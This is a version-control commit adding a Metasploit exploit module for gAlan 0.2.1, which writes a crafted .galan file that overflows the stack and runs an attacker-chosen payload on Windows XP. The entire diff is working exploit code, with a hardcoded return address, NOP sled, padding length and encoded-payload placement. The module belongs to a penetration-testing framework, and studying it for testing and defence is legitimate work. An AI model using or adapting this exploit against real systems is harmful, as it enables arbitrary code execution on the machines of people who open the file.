add exploit for gAlan from loneferret

git-svn-id: file:///home/svn/framework3/trunk@7812 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/fileformat/galan_fileformat_bof.rb

@@ -0,0 +1,66 @@
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
+			'Description' => %q{     
+				This module exploits a stack overflow in gAlan 0.2.1
+			By creating a specially crafted galan file, an an attacker may be able
+			to execute arbitrary code.
+			},
+			'License' => MSF_LICENSE,
+			'Author' =>
+				[
+					'Jeremy Brown <0xjbrown41 [at] gmail.com>',
+					'loneferret',
+				],
+			'Version' => '$Revision$',
+			'References' =>
+				[
+					[ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload' =>
+				{
+					'Space' => 1000,
+					'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
+					'StackAdjustment' => -3500,
+				},
+			'Platform' => 'win',
+			'Targets' =>
+				[
+					[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], 		# 0x100175D0 call esi @ glib-1_3
+				],
+			'Privileged' => false,
+			'DisclosureDate' => 'Dec 07 2009',
+			'DefaultTarget' => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),
+			], self.class)
+	end
+
+
+	def exploit
+
+		sploit = "Mjik"
+		sploit << rand_text_alpha_upper(1028)
+		sploit << [target.ret].pack('V')
+		sploit << "\x90" * 45
+		sploit << payload.encoded
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+		file_create(sploit)
+
+	end
+
+end